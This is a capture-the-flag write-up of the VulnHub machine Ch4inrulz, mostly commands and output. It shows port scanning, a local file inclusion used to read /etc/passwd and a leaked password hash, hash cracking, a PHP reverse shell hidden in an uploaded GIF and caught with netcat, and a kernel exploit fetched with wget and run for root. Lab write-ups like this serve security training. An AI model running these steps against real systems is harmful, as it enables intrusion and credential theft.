Vulnhub Ch4inrulz Writeup

10 minute read

Chainrulz: 1.0.1 is a vulnerable machine hosted on VulnHub and was created by Askar for “Jordan’s top hacker 2018 CTF” competition. It tells the story of Frank, a web developer, who loves to follow patterns. It’s quite an enjoyable box, that requires a few tricks and some strong enumeration skills to complete.

Without further ado, let’s get into it!

I start with a masscan first, scanning all TCP/UDP ports. I generally like to start off with masscan over nmap as it is amazingly fast i.e. scanning all TCP/UDP ports for a given host takes ~5 minutes.

root@delo:~# masscan -p1-65535,U:1-65535 10.0.0.25 --rate=500 -e eth0
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2018-08-14 01:42:12 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 8011/tcp on 10.0.0.25                                     
Discovered open port 22/tcp on 10.0.0.25                                       
Discovered open port 21/tcp on 10.0.0.25                                       
Discovered open port 80/tcp on 10.0.0.25                    

So we have some fairly common ports there and one that doesn’t ring any bells. I’ll run nmap against the discovered ports to ascertain what service versions are running:

root@delo:~# nmap -T4 -A -p 21,22,80,8011 10.0.0.25
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-13 21:58 EDT
Nmap scan report for ubuntu (10.0.0.25)
Host is up (0.00019s latency).

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 2.3.5
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.0.0.23
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 2.3.5 - secure, fast, stable
|_End of status
22/tcp   open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 d4:f8:c1:55:92:75:93:f7:7b:65:dd:2b:94:e8:bb:47 (DSA)
|   2048 3d:24:ea:4f:a2:2a:ca:63:b7:f4:27:0f:d9:17:03:22 (RSA)
|_  256 e2:54:a7:c7:ef:aa:8c:15:61:20:bd:aa:72:c0:17:88 (ECDSA)
80/tcp   open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: FRANK's Website | Under development
8011/tcp open  unknown
MAC Address: 08:00:27:EF:27:AB (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.19 - 2.6.36
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.19 ms ubuntu (10.0.0.25)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.61 seconds

I decide to check the ftp service as anonymous access is allowed. Unfortunately, there’s not much to see there and uploading of files is denied for anonymous users. I put ftp down as a rabbit hole for now.

I then performed a curl on 8011 as my inituition tells me it is also a web app:

root@delo:~# curl http://10.0.0.25:8011/
<h1>Development Server !</h1>

Nice, we have a development server on port 8011. Let’s see what we can find with a bit of dir busting. I’ll use dirsearch.py first:

root@delo:~# python3 dirsearch.py -u http://10.0.0.25:8011 -t 100 -w directory-list-2.3-medium.txt -e php

 _|. _ _  _  _  _ _|_    v0.3.8
(_||| _) (/_(_|| (_| )

Extensions: php | Threads: 100 | Wordlist size: 220547

Error Log: /root/dirsearch/logs/errors-18-08-13_21-46-52.log

Target: http://10.0.0.25:8011

[21:46:52] Starting: 
[21:46:52] 200 -   30B  - /
[21:46:53] 301 -  311B  - /api  ->  http://10.0.0.25:8011/api/
[21:48:23] 200 -   30B  - /
[21:50:15] 403 -  292B  - /server-status

Task Completed

I decide to run gobuster against the development web app to cross check my results from dirsearch

root@delo:~# gobuster -u http://10.0.0.25:8011/ -l -s 200,204,301,302,307,403 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -x php

Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.0.0.25:8011/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 307,403,200,204,301,302
[+] Show length  : true
[+] Extensions   : .php
[+] Expanded     : true
=====================================================
http://10.0.0.25:8011/api (Status: 301)
http://10.0.0.25:8011/server-status (Status: 403) [Size: 292]
=====================================================

Okay, so pretty much the same. Let’s do a curl on the api dir:

root@delo:~# curl http://10.0.0.25:8011/api/
<title>FRANK's API | Under development</title>

<center><h2>This API will be used to communicate with Frank's server</h2></center>
<center><b>but it's still under development</b></center>
<center><p>* web_api.php</p></center>
<center><p>* records_api.php</p></center>
<center><p>* files_api.php</p></center>
<center><p>* database_api.php</p></center>

Interesting. It looks like we have a few ‘in development’ php files. None are linked. So I curl through them one by one. The only ‘200’ response I get is from the files_api.php file:

root@delo:~# curl http://10.0.0.25:8011/api/files_api.php

<head>
  <title>franks website | simple website browser API</title>
</head>

<p>No parameter called file passed to me</p><p>* Note : this API don't use json , so send the file name in raw format</p>

It appears the files_api.php file requires a parameter called file. I to try satisfy the requirement with a get request:

root@delo:~# curl http://10.0.0.25:8011/api/files_api.php?file=files_api.php

<head>
  <title>franks website | simple website browser API</title>
</head>

<b>********* HACKER DETECTED *********</b><p>YOUR IP IS : 10.0.0.23</p><p>WRONG INPUT !!</p>

Oh dear… It didn’t like that! What about a post request:

root@delo:~# curl 'http://10.0.0.25:8011/api/files_api.php' -d 'file=/'

<head>
  <title>franks website | simple website browser API</title>
</head>

Much better. Let’s try for a simple LFI and attempt to call the /etc/passwd file:

root@delo:~# curl 'http://10.0.0.25:8011/api/files_api.php' -d 'file=/etc/passwd'

<head>
  <title>franks website | simple website browser API</title>
</head>

root:x:0:0:root:/root:/bin/bash
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
frank:x:1000:1000:frank,,,:/home/frank:/bin/bash
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:103:111:ftp daemon,,,:/srv/ftp:/bin/false

Great. So we can read local system files by sending a post request with a ‘file’ parameter to the files_api.php file. I check for ssh keys and other common files where i might be able to find some credentials but don’t have much luck.

I turned to the web server enumeration tool, nikto to see if I missed anything during my intial enumeration of the port 80 web service:

root@delo:~# nikto -h 10.0.0.25
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.0.0.25
+ Target Hostname:    10.0.0.25
+ Target Port:        80
+ Start Time:         2018-08-13 22:15:54 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, inode: 1051931, size: 13516, mtime: Sat Apr 14 09:39:32 2018
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. 
+ The following alternatives for 'index' were found: index.html, index.html.bak
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: OPTIONS, GET, HEAD, POST 
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ 8479 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time:           2018-08-13 22:16:10 (GMT-4) (16 seconds)
---------------------------------------------------------------------------

Ah! The index.html.bak looks very interesting. Lets use our LFI to see if it holds any fruitful data:

root@delo:~# curl 'http://10.0.0.25:8011/api/files_api.php' -d 'file=/var/www/index.html.bak'

<head>
  <title>franks website | simple website browser API</title>
</head>

<html><body><h1>It works!</h1>
<p>This is the default web page for this server.</p>
<p>The web server software is running but no content has been added, yet.</p>
<a href="/development">development</a>
<!-- I will use frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 as the .htpasswd file to protect the development path -->
</body></html>

Beautiful! Here we have an APR1 md5 hash and also a HTTP basic auth directory I missed on my initial enumeration called ‘development’. I’ll attempt to use JTR to crack the hash:

root@delo:~# echo "frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0" > htpass
root@delo:~# john --wordlist=/rockyou.txt htpass 
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
frank!!!         (frank)
1g 0:00:02:43 DONE (2018-08-13 23:11) 0.006128g/s 49318p/s 49318c/s 49318C/s frank(04)..frank!!!
Use the "--show" option to display all of the cracked passwords reliably
Session completed

JTR worked like a charm, giving me the password “frank!!!” I now have credentials and can go check out what is hiding in the development site.

Okay, so frank has been working on a little uploader tool. Cool. I mess around with the path manually for a while with various extensions until I finally hit it:
http://10.0.0.25/development/uploader/

cruploadpage

After a quick play with the upload system. I craft a malicious .gif file that contains a php revrse shell. You can find my malicious gif here. I upload it and all goes smoothly. Now comes the hard part - finding where the image is stored. I spent a long time trying to figure out where my uploaded gif was stored. I turned to wfuzz and used various iterations and some guess work before getting the correct path - http://10.0.0.25/development/uploader/FRANKuploads :

root@delo:~# wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --basic "frank:frank!!!" --hc 404 "http://10.0.0.25/development/uploader/FRANKFUZZ"

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.2.11 - The Web Fuzzer                        *
********************************************************

Target: http://10.0.0.25/development/uploader/FRANKFUZZ
Total requests: 220560

==================================================================
ID	Response   Lines      Word         Chars          Payload    
==================================================================

000164:  C=301      9 L	      28 W	    334 Ch	  "uploads"

I double check this is correct in my browser and all looks good.

crupfile

Nice. I start a netcat listener on port 443 and I then trigger my reverse shell by using the files_api.php LFI to call the malicious gif:

root@delo:~# curl 'http://10.0.0.25:8011/api/files_api.php' -d 'file=/var/www/development/uploader/FRANKuploads/a.gif'

I get a callback immediately:

root@delo:~# nc -lvp 443
listening on [any] 443 ...
connect to [10.0.0.23] from ubuntu [10.0.0.25] 34477
Linux ubuntu 2.6.35-19-generic #28-Ubuntu SMP Sun Aug 29 06:34:38 UTC 2010 x86_64 GNU/Linux
 06:52:33 up  2:11,  0 users,  load average: 0.00, 0.03, 0.05
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

Checking the kernel version I discover it is quite outdated and matches with the infamous RDS exploit discovered by Dan Rosenberg.

$ uname -a
Linux ubuntu 2.6.35-19-generic #28-Ubuntu SMP Sun Aug 29 06:34:38 UTC 2010 x86_64 GNU/Linux

I compile it locally using gcc -o rds rds.c and then spin up a simple web server using python:

root@delo:~# gcc -o rds rds.c
root@delo:~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

I then transfer it to ch4inrulz using wget and makie it executable:

$ wget http://10.0.0.23:8000/rds
--2018-08-15 03:53:58--  http://10.0.0.23:8000/rds
Connecting to 10.0.0.23:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18192 (18K) [application/octet-stream]
Saving to: `rds'

     0K .......... .......                                    100% 72.8M=0s

2018-08-15 03:53:58 (72.8 MB/s) - `rds' saved [18192/18192]

$ chmod +x rds

Finally, I run it:

$ ./rds
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
 [+] Resolved security_ops to 0xffffffff81ce8df0
 [+] Resolved default_security_ops to 0xffffffff81a523e0
 [+] Resolved cap_ptrace_traceme to 0xffffffff8125db60
 [+] Resolved commit_creds to 0xffffffff810852b0
 [+] Resolved prepare_kernel_cred to 0xffffffff81085780
[*] Overwriting security ops...
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
 [+] Resolved security_ops to 0xffffffff81ce8df0
 [+] Resolved default_security_ops to 0xffffffff81a523e0
 [+] Resolved cap_ptrace_traceme to 0xffffffff8125db60
 [+] Resolved commit_creds to 0xffffffff810852b0
 [+] Resolved prepare_kernel_cred to 0xffffffff81085780
[*] Overwriting security ops...
[*] Overwriting function pointer...
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
 [+] Resolved security_ops to 0xffffffff81ce8df0
 [+] Resolved default_security_ops to 0xffffffff81a523e0
 [+] Resolved cap_ptrace_traceme to 0xffffffff8125db60
 [+] Resolved commit_creds to 0xffffffff810852b0
 [+] Resolved prepare_kernel_cred to 0xffffffff81085780
[*] Overwriting security ops...
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...
id
uid=0(root) gid=0(root) groups=0(root)
python -c 'import pty; pty.spawn("/bin/sh")'
# 

Mission accomplished! I now have a root shell on the box. Let’s get the flags:

# cat /root/root.txt; cat /home/frank/user.txt; hostname; id
cat /root/root.txt; cat /home/frank/user.txt; hostname; id
8f420533b79076cc99e9f95a1a4e5568
4795aa2a9be22fac10e1c25794e75c1b
ubuntu
uid=0(root) gid=0(root) groups=0(root)

That’s all folks! All in all, a very enjoyable box. The only things I would have like to been done better would be: Include some logic clues to finding the upload path and a harder vector for gaining root.

Updated: